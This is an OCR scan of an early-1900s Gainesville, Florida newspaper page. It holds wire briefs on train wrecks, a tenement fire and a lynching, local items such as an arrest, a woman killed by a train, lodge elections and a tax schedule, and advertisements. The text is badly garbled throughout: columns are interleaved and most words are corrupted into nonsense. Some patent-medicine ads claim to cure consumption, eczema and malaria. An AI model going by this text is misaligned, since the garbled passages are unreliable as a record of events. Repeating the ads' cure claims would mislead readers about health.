rave-In which ocarrost at the alto and the con.ner'. j'iry' which In <> nl.erlnr| the: other questions: In " Government Will Not Pay. rtr r are ma.!, and the cattlemen are.r of toe new national metropolitan ettl- e'lirafei I | the affair r,'n.lerei| aver __ ______ \Vjhlnc'on.: !>o'C. :S*>.-The l>0 ly of ,. >tirlnir the c.xmtry and exterminating xcns' bank bulldlnar. oppoalta the t,..... diN that death was the result of nat. a .....11. r Uir;! !In :a('11 n' lu.r\'ll"l' can- the:" Seral! :Mexican children:: Burned In Tenement Houoo. ury department. Pvdaca Chadroa. an ural! . not be cent home to Ii._ trtathea ** cause A.Crushed In fonhutK have I'n bitten and dial Illnn..alN":1s.:i Minn.. D-c. :.).One Italian laborer Is .!**d. and two other r xncrnmtnt ('xl..n.eo| for urial If he to Death Under Engine. The _"prca dice In the rnltet Ft." p l*. MOMovrr. I, -. :Xa' h,iie.: Tenn I..-... :30.: -.I"...er fea rt'.I. and fifteen or more injured or overcome a carpenter, was the moro asrlouoly holy mint J : In Ih..ral' .- by smoke! as the result of the hurt. At first it bell.... the >* |1.'rt"1' Han I ncneer. wan:: kilte! | an! "..t. r Fatal Leap from Train. was that pnrtnu-nt! Thl w-a. tb- i1.-. t: lUirko. Or- man. ant ( :M. M.ich- Wart. Tex. lit-c. :').-\\'hl1" lien. coffin lashed by the rnmnrrn.'er ,fi-n. .n.! itchman.. were Injure.! In th. torment house on Minnehaba avenueTne soon discovered that Chadron. was the Payne. a mpn. aerosol: (.1 tryirtrto young . c1..I.tlof. co-uptroller! of the trea. '. fire ,tart...| In the apartments of only one who could not be oxtrleatojfrom : ) arts!" of 'h- 1".111111.' , !! .n.) NaJhvl: : pill!! a horse not his own. wa. .. t,nan any in the c.a"e of Prh..t.It...-ti !."<!... rminal 'f.mpan1 tern. The r.slne: International Mr* l,rralne Ilnckllff' In the middle the mass of debris la Um* to boaavod. and Crest :N 'rtUc: 'rn of the biff tenement: and spread wlta. Twenty-ninth. battery nets arHt.r: -I the track. turned titer ant __ ._ __ ___ jutui I" enrlneer train: :' In the cu tfly of offl<-. ". h* .III il.ler.Ily , who. wax killed&:! at Fort HKcy.: Kan. : Il)an, wa: caurht nnder It and.I IrM .on.l l rful rapidity. Twenty-seven ; broke thri h a crowd of peepenrers families were routerl! from their '.....1_ Three Klllod by Kn.tno. Kw>lal n.Itastlncton. . lout Do ob! ,T. -h.>! f'* death The flairman! an _ off ami! leaped a. the train IIn.1 I sent thlverlnv and half amutb.'rN Ind.. Dee. 10. By tko -w.tchn-an are not lantt..r.'uyly< In waj. .rr..lo5t the llraxo brMve He .. blowing up of aa aaclao sttaeboj to Into Inc 10 de. ;;(ree above fro atmofphere. - Alabama Negro Lynched. jured. ____ ___ __ felt face Downward: a .lluanre" of I I.: a freight train on tbs Chamuj and Athena. .\.a: !IKT. :" .-AIci Mac, Deport Money to Save Taaes.Honolulu fe-t to a heap of >iriftw|, .,n..talnlneInJ'irlen _ Die railroad near Disco Hill today "X>>na. :3: Th !I"'c' > !' Orl..la'al tpnll'." '! the :ar. of llcernan Henry fa: III* hand were shackled! what: v-e ". ry. Ala I>ee. 3'-\\' ''"! Fireman John J. XDrton. of JUMUs- teurmiAlp e< n.pate's tean.er An.trKfcwhich . Nlch&a.: at .:"riKMint' this count)' be leape !. .I i of fVnerroen who wereto and Lemuel Usher a Drahomaa. of ; I InJ'irtn Mm .s' " t \ .:-v* P'It"-lh..1| b> :It f' for :tAn F'ancteeu. r .rrl..1 ha.. '..-*>n hunt at fia'ltrten.: Ala. Rochester. Ind. laotaatly klUod. were iI',."' .. in e> in. F.'n! l 1.1 r. .;.. .-r. .! Delegates Are E> elled. a purse>> of a Un-' Ir.-.I| men and bm-uh! p for tae murder an.l assault of Mrs4rat The wreck then taught fir*. The mat': by !f a: heeler. In '..I'r.. l I' l 1c Selrrr..crady.: :N' Y. lice :31 .-Tae has been ,, June t\1\ back with :.1 r'.I'; ., 'an.1 hl. neck an.1 I Smith lat replt. train was composed of refrigerator f tis! '14"1' rl'M'! :.. I with l 10,1.1: m'r'' a:' ;st-.1.! th.ii !h. :ion>*y may t>.- at :a f.t! :> 'air a to -}G. Tl'aal'! naby! fr,..i. .| unHI Ft-l niary 'lh! by ih.. K *V- car betel with. meat and was run and b.-jon 1 t*.' '. T.'i.,riai: Jii'l*.llc*"(t. ttnlon _tf.I.1 I with the Industrial! b. rituteno of than a hun lr. J .ho'* >saliva r \I.. r.flrel : .rnur. Many ur the st nine to Now York as a special. ln'" him. The tn.ly| 1 I.t letietl on a m'.r -y n.I I In '. r>" '' : fron. .!I.. l the . .l ni) It.rl"'I.|! !>' IIf't.h... affair. : ; holy by lherrni .. wa r.o r*-a: evlrimr* that Je was hy th.. i U4I.1; -'n th.' .!--\\f\ It h l 'l1I- ">f the Am'ttf-.m K"ed'-caMon ur l.aot"n si:Ur. Millions In ".". "..*. Samuel Hanson Found Dead. "t'p.d th;t. h -I'n.\ w'I 1 IM r'l i. I.' I tin. the Kr..uud i 'uat their action watircon Albany. N- Y.. I ec. 30.-Oror ftvo Chtrt't.: :X' r..I>ee :!n __Sn-n .<. here I imii'OmHy: 11.. !ue !irrcar .tl' iiM 1 ir.a'monc the l4j'o* .. Ycuth Charged with Forgery. million! dollar: revenue will be produced Ifan..on, A" *t lthy r:lfn of I'o.-tl-n.l: .; of ..I l ',n:" ti' the "." 'r.: na. : !.. del.J 1 zat .r n.! e pre-iit. lit an.1 er ..\f: .31_. 1).t..- i:. C.I:.r"r..a"" : as th., rvut of the first year's ;r I ..'. v In ff>*- t" r1,. .. a J "U'1. warr".tcil at tee :N' altwuk. operation of the stock transfer tax )1.aa.! foun I deal. I In (1M d ft' tin II.rs' wi b.! ap!'r'S.' 'i.ho. rare fof :i ra' a a.s* alh:'y The ttia'lon . . I. lre! the winter: re.ld*nee Itr ..! of! f T" . Tii: iak. r. '.I.: in latmr circles I. t \,.,..,t1lnorl'. <. ri. itt Ilrtad anj Walton law acordlnc to tho Munm&ry of the *h' h the far ttcta **!-' T''tr..Iav mornlr.r by police etucers work of the state comptroller's" depart. 4 CIl.r J 1I0n.l. a few mica: : fruci Lea. that reason y -lc.I.'l and further! troublo is e x -"noD. :i. O. ahpatrnt ot cola. I file ".. tao charge. of for(.ry. _oat file the year. imnstJ today. t r rR rz .. ---- .. K 1:= K-k ... .,\', ...... . P- - ...._"" - eq.AWWWrn..q m. . - , t ' . " d SUN: JANUARY 1 J. 190K " --- -- - -- - - k AFTER SIX YEARS tOCHLOOSA TO HAVEMAGNIFICENT g LOGAN WAS CAUGHT Ayers HOTELParty Do Not Neglect a Cold. - Every cold w*.kna the Lung. lowers the Vitality a-d mate U'. Alleged Slayer of John Jones Hast cf Capitalists to Erect ***;*"r a a t. 'II\ s.rd e& ., a'av. :; ee. rj u Q. t..J .-:.... p .. :. tae: way f .1' mr. aorloua di..*.**. Been at Last Losing your heir? Corning Modern Hostelry There Apprehended. out by ti- cjrnKfuI. l ? AnJ CAN YOU AFFORD TO TAKE SUCH CHANCES ? ' WAS IN POLKSTON. GEORGIABy doing: ranfZ* : ? =No !sense' in WILL MAKE f NE RESORT thai VI h') J( n'c xou- usesytr'a ' Cl.ve Work Co npl.1. Web was lljir \i;: jr and i>jrrojd" .d \* 'h 14.. .rt* B.*u' 'es of BALLARDSHOREHOUND W....... About th. Man W.trt the R.- Nature G vr. of Vreoer'. R..I /. tilt That Hi. Arr... Followed.. Hair Vigor Treat: A Mod.P" B.-id,' ? N 'n A I Ir 4 Accomplice Never Apprehended. CO..rc.. ojIWO... d P't 0.411..1 the mo.t p .*tlte> deti,ori."r%. promptly stop the fall:ns":: 1' -i, 'I. ;In' .r'ra. f.'."' a ,. tlo.. of th. oil Je\.u'S.r \V,;J Your hair will bcsm to sro:: ', ., .p.... k. . 35g. .... t r 'I.. ,. Oat: he. been mad within trie past too, and all dandruff u ill disappear. ts.rr.t.r. .t..t..m" "I.... r w t. 'wo day, when, at Filiation (i1.. the Could you reasonably ". .cs.-l ,.n it" \\.u. N.. .-.i"tof ' ........ arreted one Walth'tur/ '.oC"'. expect anything, better? ess: I..--4lli 1 .a ..k.' .',,,1' SYRUP - charged with th. murder of J..i.u! ...,'. I .1' t' . a .. .. . ... 0,1.. w '.I.h ,poo a. tir.. *. r I ,, .I..... at a tur|.e..lin. ramp. !........ .II.., ., I.'...' '... . f.S, III ILe Inll..J ".;s.f'* fr .tn ri : leosa. more than .i* y. *'. aico lose ..1 .4.-. 1 I I . C .'* .>Jf ".i.t of I..T .ral, tr..ty tirr .- ) .. .,IM ..T.".. -.. .T >.fnrrr.d 'rt/an ...r' _ ....I lately after the d..d commit* forThin -- y j ptrall.e g T 1- ,1 '! laW. PERMANENTLY CURLS fed bias, together with Anllo'iy The In'm'"h r. ".t..rat sire* j .. ; t l-f .. It.l. ... Consumption, C ". Colds! Sore Throat Whltflld. hi* accomplice. .> eap d. HairTHE ea.ta I.i "r i mOT > t .1 1 Whooping Cough a.4 Hither have been heard of *mc* t tat i the titrtct, for lkl dims&e !.'" Asthma. Croup. t, a.,Ming. : "il;! t... I let wH. n tru"zt mronchltl. Homr9n99, Sore Lung9. th rtj das.. I: i I. un' .-r.!",*! that th':. EVERY MOTHER SHOULD KNOW THAT BALLAPIO-S HOME. Tit. crime we committed on the I MARRIAGE' MARKET i iJudie ma'rrial to f I.. uv Q Bight of July" 31. l9. at the ..,rp4l a.1IJ. \ fr-.il .ti>.... a ta'rnt of I 1'' .t,." CURE CROUP AND WHOOPINO COUGH. .* camp of J. J. II. ym.n., I.I>eh- Ma.onI.d, tWlaf\, L'ceraet : MrCarrult of Jack.1tt.i,1.. and a th .... eALL'W c..A""IfA+rovH. ,.... says. ..Wes..1 Deans and U s.iC W..hin the Patt Two Ca,.. I I.i being ,IJ'I Ih''ICt' sI.u.rd'. taer.h.a.a syv e a rrw11v for .v.r.l rs i* occurred over a IarCety -mi at ..d tt feet/... WIeC ::: eaiidre. a: 1 rase ..1 alw.r.al..astl ..........tariillhg .n a a.m..I crap. t County Judge Va.(,n t..J. .:-inI. rn this country in Ihr mtkinrf of floe _.._.... f ...... It ....,..........-.4 ..._ .. _......... Iweeid _t he wita..i It Ia t5....._ saale al a nt..r M .I>ICI>C w* IL-._ ..- Th* ... wr. employed by )Ir. If.,. hi. oi''.nanee v tert'af! that would MiiMinx NIr Met'arroll. who i* now Baaa*.a\ad all bad born g-xxl character have <|one crt-tlit to a 4.r.d..I.wt.l ... in the wry. was a{ j r..lht..s In the | Bat Remedy for Childrea. Every Bottle CoAravntaweL the im. had emerged from .. .ful j bij. rfj.. .. h TMRgti ., ,.... f op to of the sr.a.d. A. just a iicee matter. -dt' -r confirm SiMSrrcas I* the ewetooa of negro** employed 4.m..icn.: The reason for this ... ap.i' or deny tt.... rt ort .*tV'hi.e; I feel BALiJUtp Now .LOUD.MO. ..... ..,....1.. farm and ia lumber parent when the genial: Judge handed J i r.-a.on.hl lj sure there i I. '.<>rti.>tttii.i; in Map., ta* band *.....1 in a erp over has lic.n.e book which read for the wind.' I... ..ni. I laic found SOLD AND RECOMMENDED ..YW. with tb. malt Jonee the .a"t t. dai. fnl'nw' I .Nit. h. > that glass. that loci | o a* : i by .ny "t '*ri' nc' It tlurt M. JOI-INSON Ga.iJ:1.0s-v-i.L: : . bie Ur.. W Logan and Whitfleld nave Henry Robinson and Piney Ju*>n.on. out do t*> talk t,... much ui.t.J I you actually , .... '_'uy.. from joatic. ....r ncBaariaT Mack 8pence and "*>*.ie Col-mu. Will f have your HnK r f.n the trigger r /.... ....ral month. ago I... at d M,,lie| King \Vm. I:'iee and and are in a IMMIIIOO to .ho.it. I will. .w.pilai< ta* .......boale of I.o..n' Oerti_ Mc'.inm.. IIV.. Austin and ..,. howrrrr. that I believe th.r.- i. .ad) aa* .*.. qaitly weaving a web Celia IJi.h"|', Std !Hum and Itertha uRleictit inlrrrct and capital in the: OUR OBJECTIn wfcwat alat ever .j.... Tbla web we.v .1| WIIMJo. Robert IAlae and Eii..hrtA: tfuturv to make a Co. and the lrty aaaapleaod sad he wired tb* officer of Davi. Fleming llolmea and J-au*,ineJovhaa. mho cave jou the information i.i prot y to -... aoaatw to arrest the man. Paul Sanders and Florrie Meg I ably in butler petition to know definitely ..... waw ..... Cray. Bill Jenkin and Laura Melton.Fredenck what i. being done than I." al1sN/. Feaall left Thursday for Taylor and Hannah Lamon The .J Ot augcetted for this. mammoth ativerti-ing ito Convince\ you that YOU ougl't) to 1Wb.1..., where. b. will take charge of The month jut closed' ha been oneI i hotel, la an ideal. one. t urruund- . .a* ....*... ... bring blot to Oaine.. I I9tIJe. of the heaviest for the i'iing of mar .td by the most romantic .renery on have a bank aoofii.nt. an.1 l U:at the a<-.:'utiiit should!) 1 he ..... b. mo*. a* .... tand b.. nag licence. in th. administration the one hand and 1 bordered by that kept IK THIS BANII.W otiVr ABSOLUTE SAFETY lists tho tfcroa. of jaotiee.IV Jodg Maoo. which i i. a sign that the beautifjl heet of water Loch loo.a ,.mete i. prwp.rou.MELROSE .-_. lake, on the other, it goes without to our <.1.poitors.= . OVS AUK WORK I NO. saying that this report would prove Trig Maaawaal, Pro* Convict Camp by TOWN ELECTION moat popular especially since. there i* Equipped as we are with a NEW FIREPROOF VAULT. of the kind in this nothing eetion, albs Plead a m" _iew..M. This Event Will be Pulled Off on Tuesdays .- New Triple Time. Lock Screw-Door. BURGLARPROOFSAFE + 'I'M' ..... .... who .... aoaylekd January 2. I9OO. with our Officers Bonded with Fire and Burglar i' .C ...... apes s ilrowd train of the The annual election for town officera CASTOR atawbawja] Air Ltw.. and oaaaxltted toM of the town of )1..1,,".. will b* held on Insurance, your money and valuable papers are safe Per Infants and Children. 7 _.> aoavl... amp at Palrbaaka.Mk4 Taeaday. January 2. but. inamurh aathre with us. _.......11. .In. their liberty I U apparently little or no competition TIM KiM YM Hm Always Bett-t FOUR PER CENT Int ret P.ii Time = on a*a CfcrlataaM a>...... by payment of nothing a Tery eiciting na> DepositTlie t-. ': tlkrir laaa Iry Oala>..vill. Lmtc Mo.MO. lure i i. promised. Bear thoSignature : .......... sad Protective Order Aa will be seen by announcement ofSwell " .tf Elk, .... ..*..... employment I. elsewhere in this paper F. H Sutton -- - BANK of ALAOHTJA skis "'1'. sad appear to be perfectly a worthy citizen of Melrose, aspires to Colored Waddir>K. ......... over their lot. the poaition of manhal. )Ir. Mutton'. Editor A.lachu.a. hunt i'lrasr give m" spacein Florida. 0. talaa U ..,..Iu. the boys feel friend dale that he I. perfectly I competent . valued your paper to *ar that therewa vary grateta! to the order which tn fill the position. and if elected . a happy wedding ., the home of t aalfeeted .u....., interest in their will do hi. duty with fairne. andimpartiality. . Mr. . .Molly! Ke.ldick. I 11 I" >\ .t Lit, aaaa toaoaa. tothairaid.and they will THE erty street, on \Vedne4ay .'t..n..n.I"nlt. ALACHUA COUNTY ABSTRACT CO. Inc. .. 1 ass forget the aam. The o Ire... for , I ', _!;. the crntratrtir( ,; i.artie.bring . ,t" ..... they were committed it I I. said P. O. S. of A. Election. t.TAltt.l.llrtn 1.-' Paul r>an.Jeron and Florida Me' - la ass tlrtotly .. offne ...Ia.& the \Va.hmgton Camp No. >.. 1'. 1). S. nf The qu..tinn" - Cray b ith ular and l inn Jii . p >( < triou Render* rel.aftle . ..... and dually of the tta.... but A., at Its meeting Wednesday night, .ervi< e i>f erery sore along the hue of young truple of their. race. and worthy of Title tne LK ii Title in the.tstrf f"lurula. particularly aoro eorreetly' .. offeaa against the elected the following officer" fur the of *|iecial mention .lachtit",, .,tarty :, .... rnuUtion of the railroad ensuing term* fur groom has fur time teen Ant coi...i'l- __ some a ; -...,. _ II.J. Rile, president : II. (.. lljyd.ricepreaident faithf'il. employe of the (taine.rillerianiTig "''J'I.I.T.E, I .U..tr.-t. wf Tl1I_; TMtrrato \ **!I.. seesrrl.e.: ; (S. )1. Thomas. matter and l.'.Ilin Company Thebride era: nn forth .( . AN ENJOYABLE AFFAIR.afattadlt for \.a-l5e.i lrnl .Aft.1 l O.*iier<>: rial. wf (Cuntic, k of forma ; C. A. llaritxl. recording i* the orianict of ".. e"rn..J4hu'eh. | inve tor. T.IH., Etr.n..f..r"n.u. and I.I..n,1! a musician bas Sunday School and Friend and financial secretary ; Henry Milli.r. . m Celebrate In Good $.. .. treasurer J. K. $.nC'h.... cone The ceremony mli.mtlDutlon Hsnii I of i.alllu"ill H F. A good crowd we preaent at the doctor; J. .\. 11.,11. inspector S 1'. Her II. I', Sa Sheppard. guard ; K. I U. > ....II. tr...- -- .. M.tbodi.t.hureh -- ------- - Thursday evening to -- tee for term of month. attend the Christmas featlviti.. de- eighteen ,$ .pile the Inclemency of the weatherA There wa a great deal of pint amienthuia Gold Storage ,ni manifested l>y tneiiittern nf : A heavy rain fell during the day and the lodge. aiMl the PRIOEJ: LIST U wa thought th. erudition ul the 1..mh..h'J' I ii ins - _ would creasing every month Fhi camp i* N. the b...t rrrth..1! by which the pro.il . streets from prevent many atteadiaff. OF tcer tif the one tonal pruirre..lrr in I- lorUla - bat true little drawbackmad care of Th"lUlMOMI 1 1 ... to make 11111. difference. . The newly..le..'..| dU' !er. will bein I 14 C: < IV.t' | t EUREKA WINE & I Th* program, which was of a mui-- LIQUOR CO lallentllieiiekt| regular meeting I II"* the mix! cnuiptrte plant in 4Vn.trnl : ?' ..I and literary nature, ... charmlagly which will IMVeine| ..|.y. Florida. and the proof. >a 11..1 I t "_end by the little folk, after best fur which. th. member of the Habbathahool A JoMtl; Installation.A .'....- ,leg Mral. THr-.!iIll.tIMlt'Tlll'1:1. : V i.II.. itirin. > ",,(''''r-.. 'I - - and their familie repaired to j joint J..tall'tlc'" lit .>rtl..r. u'U.i..III..o&.I..X l U .. .illicit. pntrotiBire anal c'lar''ntetferfeet I Ir EXPRESS WIH'AII>> ). Full : 'uart the Dormitory and enjoyed all I kind of f:U'.''''!'.I..n 'I..... |,reMreij| Measure.I . good thing* to eat. which had been .. 1l I. F .v .\ :M. by .,.1.1..0<'.... can .1... I..' ..niokeil . ... ..ptlagly prepared for the occacion. and Ctaine..ille 1h.ptern. .'. K.I .\. l. I r .t. S .1.- )1.. wa held in Ma. hallVe... ; Diamond Ice tr....'! ,'f' t.e ar.... .1..0 : .t. Vrrts roe onn . ,Company If.'. . r..I. \\I.... ... .1'" t. to'.11 t. ... Th Cotton Situation. day eveninir.at theconclncion of whicha U. U I.!VlN(.-.Tl .N M.r ....,rre: t ,lj. Iir t ........ ...11.:"o u. '\I'ite.. Itr".1 :- -.' .. ..., .5 v Keport from the Ala-hua section banquet wa tendered| in the .II.'J''-r-i'. S.N.r' "rare''" i.S' t. : : .' 1"t . bear Information that, according to room nt the lixlpe. The function, w.. Till: \I..U'III t ii. r: UU"t.r '.\" arr... \1. I ' .........,. a large majority t>t the well attendetl.. and until a lite: hour ', .\ I...... l'l.rld.l. ..r.i.e.. : : .:. .ilr..ret.. :. .. ,. ....... ... : : ; : :'+ : .' i; .:" . .. I :& C L'\ . ::0. wo\ planter are holding their cotton for a those preaent enjoyed thr.n.rle. to'th \\'ill aU<. put up, nirat: by the.. ntne I .. a 4. ..'n..ft. X X .. . .. i ,.. ., . '. higher. pric. but. a few have relrs.r.If fullest eiient M. II. :ttin.ler, ... j! I J'r.......... Leave nr.S..r. at either pace. II I 1 . ,IS.. ". '\ X X J .tr :an. . . their belonging in this taple There in charge of the. culinary department t I I :. .;';"r:. . .'_::'.;: 'X . f I a' : "1o . are about I.OOU I...... of cotton in the which wa an a..urance that everylhint '"' t. .Iti. : : .. Alaehua and Bland aection. { in the. edible lint wanu'.1' .-.. .r '' ,iia. .tic e "... ... t; , .. ,....... ......, !or ..... :. ., I. i. , i right .. . . ' 1 ",.P.!!." ; t ; "'I 1' . 't, Chronic Constipation Cured. The Original.1oley '. 1! > Miss Tebeau's ...m. \.no'.. .-t., ... -u.. ...m fA .. 4nt .. .I.: .;, ;% I ... : '. , One whoanffera from i chronic eonti- A Company ('hieag.i. t i patloa 1 Ie In danger of serious .Pi'ln".1 ? I.iii i'rsm $' _..u t 100 *, :1..1) I'.r ; . many ed hooey and tar a. a throat Boarding and! ti..lloon. Ur..hrrrd. "'. .... ,.. .... ... .......,.. . ailment Oriao Laxative Frail .. .... .. .. .. to. .tr .t w .', . . . syrup , remedy and on account u' the grn at'! i::,:. .. .,. .t .... Ii .r,1 _. r : . err. Jt...: .rtt. ... r..se ,. cure chronic cooctipation. .. it aid merit and of School t.T 'tN1. ".e. 'rd..,''''' .' ter... ...e -i':, .. .. . tvolf' 't1 popularity Honey Day ) s ./,..! .rr : .:,r r tt. ... :. .: :: : . t. .. Ur : dlgeetion and tlmnlatea the liver and and Tar initiation Iie "." at '' here. ... . .. .. ;:! ::. 1 r. 1 are ntlrreti'or . bowel the many ."S. ''err ;. ;..:;::: ... ,h.i" . I .. .vt .re. tl. t .:;\ :r. ;: restoring natural action of the genuine These worth! *. nutation S a I.. \'I l D.... +. r'' pi. '? ..e , ' thee organ Commence taking it today have similar oundmg name.. u.lSt.IL..t. it. it, A i : . err SI....>< .: ,r :::: : .. .: / !/.:.< and you will feel better at once. Beware of them The genuine tol..,'. 1 : .. S.I r.. : ::..:. ; . Orino Laxaiiv. Fruit syrup doe not Henry and Tar i is in a yellow package. 11.1 e ...... Openedepteniher. . . I .t. .. ,'. r. .' "'..,,,. 0.1". , ........* or grip and i. pleaant ; ; : very ; .\.k fur it and refuse any *ublitutc.. It .. lstlt" 190; ( : ; 111\I: . A tak Refuse . $ o ubtltute. J. UJfcOollum .. the bet remedy for cough and I "" t..T II.'\' "TIUJ.T. Lllftlllt. IIM ", , Y A Co. cu t , ., F n 1..4lk .Jl _' -- .-. .--- --..- . -- - -.. - -- .. .... __t . ,. .. ., - I' * . e THE: UAINKSVILLK; : t-X: .JA :\ l'ARV: 1. I'.Mit!.. ..; ::1 t --- . - -- - -- - - -- -- - - - - - - . - -- - - - AGED LADY RUN THE PUBLIC SCHOOL out- I T. F. THOMiS j : riilOl..rO fields need never "wear DOWN BY TRAIN I UNDERTAKING CO. i WILL OPEN TUESDAY A complete fertilizer, with the right . -- -- -- - -. amount of 1'or.vsn, fcei.i t : to the soil the- Mrs. Prcscott of Sarkc: Steppedt r ; Pupils Will Return to Their 1 llI.i. .iNii iiiNUV hneir that have and ' nouri.. cotton must Upon Tr-.l: .Mild Ws ::dlea.A ', Studies: With Earncstuc&s. , UObI) .... I I which the cotton removes from year to year. HIGHLY RESPECTED LADY FALL TERM RECORDBREAKERi, . i 1 " Sio.t Culture I Il1J'1'lt'I Cotton our interesting go-page Was Mother-in.Uawr of Sheriff Bennett) ) : ''r""II"'lW'I: I The Enrol ment Reached Nearly Half of Bradford County and a Lady of cad IUUf' 't t.%. I a Thousand. With Prospects Good I| hook, contains valuable] pointers on cotton- R.f.n.m.nt-D..th a Great Shock to ;r-....... ..H ...t..I.:.... 'Increase for the Spring Term-New '! All Her Friend Department. Added. i I raising, and shows, horn comparative photo- ;::::.. I I .t'rn i. t. .1 1Io06".r. islhee 1'artie. ..r""ialt..n.. noon Iran ...... )1.. rest .r....".... ..rei...... .After racation covrriaa a pe run! of ]I graphs, what enormous cotton yields POTASH Yriday bring' information to theff"c pr..mat.v ..ttende.1 to about ten day. the UniTer. .ity IliiihtohiM I that JUr*. Pre cutt. nv lit.r*i.Iew. nbh > >l wilt tint for the trmjt ti tin on J j has produced in different states. This book -r.fl Hi.nett of Itrndford county. U.lneoYllle. Florida. .1 Tu..*...'. Janiikry :Jl. 1-11): I wa run over and tnnirled by a :>**. TI.i.i it..'itution .J..d for the fell ; will be sent you free of any cost or obligationif bo.rdir I.u.e train' in the <>ut.kiriiof term the l largest enro.Intent; acid mot i tare FriJay morning, HAD FINE MI.E: TlNG. ei.eees, .th.l| ..ea.'.n III .ids .>llliliCi: *. the you will just write us for it. Thr particular, were meager. *inc.< 1.o".I-n'lE. /dra l .eil and Trim-ipa! '' Address OERMAN" !' KAt-l WOCKS.Could . the pini.. bringiuit the luf.n..tinn Order of Elks Urowmg in Gainesvilleat :-h..at. ai>d faculty ruling gratinYd at I I'ww' ,.....-... he..w ....... w A....... u.1" ae.b.eed .Sss... left StarLe! .h rily after tin* .*d .t"ei. Rapid Rat.t .. the itKiti<;y of the work The en* au dent I><"?curr.d and it wa. imp >..ihl. .\ the regular, weekly m+etinsr: ofiiainecville lment: reached 4i+J aid many tI... i| for them to ccure much definite iu. : I.oJte N' u. 1.. formation. It appear that the train held Thursday evening four candidate high ..t.c..1! departnirtit. cinder the I Iprit which ran down the lady ".. tin were "ridden over the Lot .eip Cedar Kry.Ja'*k..onville train. which .aud.." ant t.-u or a tI.-,-.. application' one of he recognifrd lncalcir not We Do Mori leave. tiibCP..iU..t 7 ;.30 in the morn fr, uieml"vr.hip in the order were received. oiny of the Mate, butf liar > >iih.& fog add! | a*.e* tarLe. about two .hours The approaching term pri.-ni..* to . later (>*>n.-Till Io equally a* .ucceful. with a 1..i.1 i I j Tli. unfortunateictim, who i h d.. atid i i4 destined to become one of .ble, larger enrollment than the fall { fectite> in hearing wa walking along tr..- leading lodge of the. country. It* term a. many familir have. recently Than to it fund yr ur money if. after Ten Days' the track She did lint hear the ap. memtter come to he for the of are iiiauife.t.ni a treat deal city purpuee ' Trial). your Horse or Mule did not come up to proaehi train and teppd upon the f f inter*>.t Kiting their children the advantage track about fifty fret in front of the l 10.comoti. the school. facilities affurded here. our Guarantee ; ' .... Notwithstanding; that every A Grim Traced, - etrorl( wa made to top the tr.io. all 1 h deity' enacted in thousands of TaH Notice.U . failed anal the lady was knocked from h >me.. a* death claim., in ..aeta one, '. will meet .* e taxpayers at the the track by the pilot of th. .-.aarine.b. anotherictiut of consumption or following named place ou the date -" --- ---- -- x'r ... not killed instantly and Hr. J. pneumonia,. Hut whet cough and sit opposite : M Dell. Jr.. who ..... on the tr.in. was e rlds! are properly I treated the trajcdv Alaehua Monday and Tuesday. January r .DDlmoo. The victim was taken tc .. i I. averted. t". (i Huntley of 1 and 2. 19>m tier horn, where everything f.oiblt Otklaidou. Ind.. write: "My wife High Spring.-\VednrJay. January was done, but she expired in a short had the consumption and three doe 3. time. Iou gav her up. finally she took Hiand-Thursday. January 4. Hub Works This affair wa unfortunate and Dr. Kin.'* >;.. Discovery. for Conon. LCroe-Friday. January 8.Waldo , friend of Sheriff Iteiinett in this see- s.mpt Cough and Colds whichcund -Satarday. January 6 i,. too will sympathize* with him. her. and today she i i. well and Orange Height*-Wednesday Jan ty trong." It kill the germ uf all dl.- nary 1O. Woodmen' Oyster Supper. race. . One dn*c relieve. Guaranteed Melrose-Thur.day. January II. Back ! The local ramp. Woodmen of the at &ne and fl.OJ by all druggut. Trial C.lUrwill.-t"rid. January 11.lIa.thorn.tud. or Monty World, participated in a 1111'" enjoyable bottie free. .,. January 13. oyster upper at the rcl..i..n of Micanopy-Wednesday. January 17. the regular meeting, in the 1 I', 0. S. I.r f Tragedy. at a DistillernrlMol. /. Island' drove. -Friday.January 19Hnchelle . .. \ .... l>c. 2:> A d.loiitilt'eJy : trl't. A. hall. Fast Union .tre.*t. Thursday -$&'ur".,.January:; )J. night 'There wa a goal erowii pre*. at Mcrtha.ia< tnarttil Tf'nn..r< nrUtmanln the \"Irirlnla.Tf'nn"'f' :. Property owner will please take ad. Is it Not to Your Interestto e-ot. aril the lucii* hiralve. which vantage of thee apiMtintmeitt. thus In! '. r"*"u''lns: : In thf ln tant were temptingly served in any style 1 .!i-at".j: ,,f H...c-i>4* Nic.x: and t;>.- fatal awing themselves and u* trouble and From Us ? de.irrd. were greatly .ti.h..d. TneVoudiii .,. 'ifi.UriS: of Slai! CrN'nt., which: ha- ri|.eii.e. Very respectfully. Buy -\ do llnr) > by halve W I>. I> Tarn Collector. << "*ii nrrer K pn! r:.i ,. to a ron.ll'lon In that see. UKI\: OM. Ulan iH.r-l.-rlna. nn a ..tare. .if war A \\'. W Cuts.or( TE A*.e*.or. Spoiled Her Beauty. .1'III..t't.; ...)>. ilnr err inn hnti-lr,:: AT Harriet Howardof \\". 31th M Nf-. arincil. ti:,t in l'i: ,' mountain n-ar the Notice. York at one time t.ad her beauty se.'ne of tue; 'ra.I Jj. rnC.'lnlt!! I lea: .ler.fr.m I hereby announce myself a candi potted with kin trouble. : tie writes : arunri: ; '.U' 'It'n.l" or ':..r dead Jate fur the oRlce of Marshal nf the 001 had alt rheum or ec*..ma fur an,1 vni year, but nothing would cure it. until I intlrt! f> .:ell r(rfain. I"itinc. ih- day .u'purt of the voter of the coming To the Sawmill and Turpentine Operator. I used BueAk...'. Arnica falve." A t..r rh faction hair !Intn eathcrlucarm : I elution, promising a full an>t faithful : 4tiick: and sure healer 'for cut, "burn an.l ainniitntt.ori.: discharge of tie du.ie. t,f the ntllee if A* well a* the FarmerVe want today that we have Mulct that will and ore... U5c: at ell drug tin'..*. ---- elected. Hf.|'eclfully.F. do your work. What... tell you about a Mul can be> relied upoai. W. F- Sickening" Shivering; Fits H la'TTor1. never mi..pr..nt.'t: DO \\'IIAT'E SY WE WILL DO. If Of aiue/: and malaria can be relieved you are our customer you know this ; if not. ask anyone. They willjt ll I suet cured with Klectrtc Hitler. This you our word i* our bond. it a pure, tunic medicine. ; of rp.cialbenefit HAMMOCK I HOTELit'LF in malaria. fur..u exerts a true , curative in Hue nee on the disease. dnv. - - --- l1AfMU'E. ...\. hue it eittirely out t>f the. yitem It , SE D i i. much to IH preferred to ii.iiime.having -- none of thi drug'* bad after Paradise for Hunting and Fishing - .w..._.......,,\\........,...,......1'rei......-.. '.1'.."......,........1. eftVci. t;. S. Muuday uf Henrietta. 1 sir .. to 'Y w' re u.mu. .. /M. .t.1.. Tex. .rlt. "!1y brother wa W. 